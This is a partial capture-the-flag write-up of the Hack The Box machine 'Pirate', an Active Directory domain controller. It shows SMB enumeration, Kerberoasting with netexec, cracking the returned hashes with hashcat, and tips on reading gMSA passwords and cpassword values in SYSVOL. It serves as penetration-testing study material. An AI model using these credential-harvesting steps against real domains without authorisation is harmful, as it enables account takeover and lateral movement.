Skip to content

Pirate

Machine Profile

OS: Windows Server (Active Directory) Difficulty: Hard IP: 10.129.244.95 Domain: pirate.htb, DC: DC01.pirate.htb Status: Active engagement — recon and Kerberoasting complete Key techniques: SMB enumeration · Kerberoasting · gMSA enumeration

Reconnaissance

53     DNS
80     HTTP (Default IIS)
88     Kerberos
135    MSRPC
139    NetBIOS
389    LDAP
445    SMB
464    Kpasswd
636    LDAPS
2179   VMRDP
3268/9 LDAP GC
5985   WinRM

Port 80 hosts the default IIS welcome page — no useful content. ADFS endpoint /adfs/services/trust/2005/windowstransport is detected but returns 503.

Web enumeration via dirsearch, gobuster, ffuf, subdomain fuzzing — all empty. The web app is not the entry point.

Initial Foothold — Provided Credentials

Credentials are provided by the HTB engagement scope:

pentest : p3nt3st2025!&

Validate against SMB:

netexec smb 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --shares

SMB    [+] pirate.htb\pentest:p3nt3st2025!&
SMB    Enumerated shares
SMB    Share          Permissions    Remark
SMB    -----          -----------    ------
SMB    ADMIN$                        Remote Admin
SMB    C$                            Default share
SMB    IPC$           READ           Remote IPC
SMB    NETLOGON       READ           Logon server share
SMB    SYSVOL         READ           Logon server share

SYSVOL is readable — grab Group Policy Preferences (cpassword attribute is a classic credential leak, though rarely present on modern boxes).

Lateral Movement — Kerberoasting

With domain credentials, any authenticated user can request TGS for SPN-bearing accounts → Kerberoasting:

netexec ldap 10.129.244.95 -u pentest -p 'p3nt3st2025!&' \
    --kerberoasting kerberoast_hashes.txt

[*] sAMAccountName: a.white_adm
    memberOf: CN=IT,CN=Users,DC=pirate,DC=htb
    pwdLastSet: 2026-01-16 02:36:34
    Hash: $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$...

[*] sAMAccountName: gMSA_ADFS_prod$
    memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
    pwdLastSet: 2025-06-09 16:48:41
    Hash: $krb5tgs$23$*gMSA_ADFS_prod$$PIRATE.HTB$pirate.htb\gMSA_ADFS_prod$$...

Two kerberoastable accounts:

  1. a.white_adm — member of the IT group (likely admin-tier)
  2. gMSA_ADFS_prod$ — a Group Managed Service Account, member of Remote Management Users

Pirate — kerberoast hashes returned

Cracking

a.white_adm's hash is offline-crackable. gMSA passwords are 240-byte random strings and not crackable offline — but they can be read directly from AD by accounts with ReadGMSAPassword rights via gMSADumper.py.

hashcat -m 13100 a.white_adm.hash /usr/share/wordlists/rockyou.txt

Engagement Status

  • ✅ Recon and initial enumeration
  • ✅ SMB authentication validated
  • ✅ Kerberoast hashes captured for a.white_adm and gMSA_ADFS_prod$
  • ⏳ Hash cracking in progress
  • ⏳ BloodHound path to Domain Admin not yet mapped

Writeup will be expanded once the chain is completed.

Key Takeaways So Far

  • Kerberoasting is one of the highest-ROI moves in any AD engagement. Any authenticated user can request TGS tickets; if any service account has a weak password, it cracks offline with no detection signal on the DC.
  • gMSA passwords are an order of magnitude stronger than service-account passwords — they're effectively uncrackable. But if any user has ReadGMSAPassword rights, you can pull the cleartext from AD using gMSADumper.py.
  • Even on locked-down domains, SYSVOL is usually readable by any authenticated user. Always check for Groups.xml and the cpassword attribute.

Tools Used

nmap · netexec (smb + ldap + kerberoasting) · BloodHound · hashcat · gMSADumper.py (planned)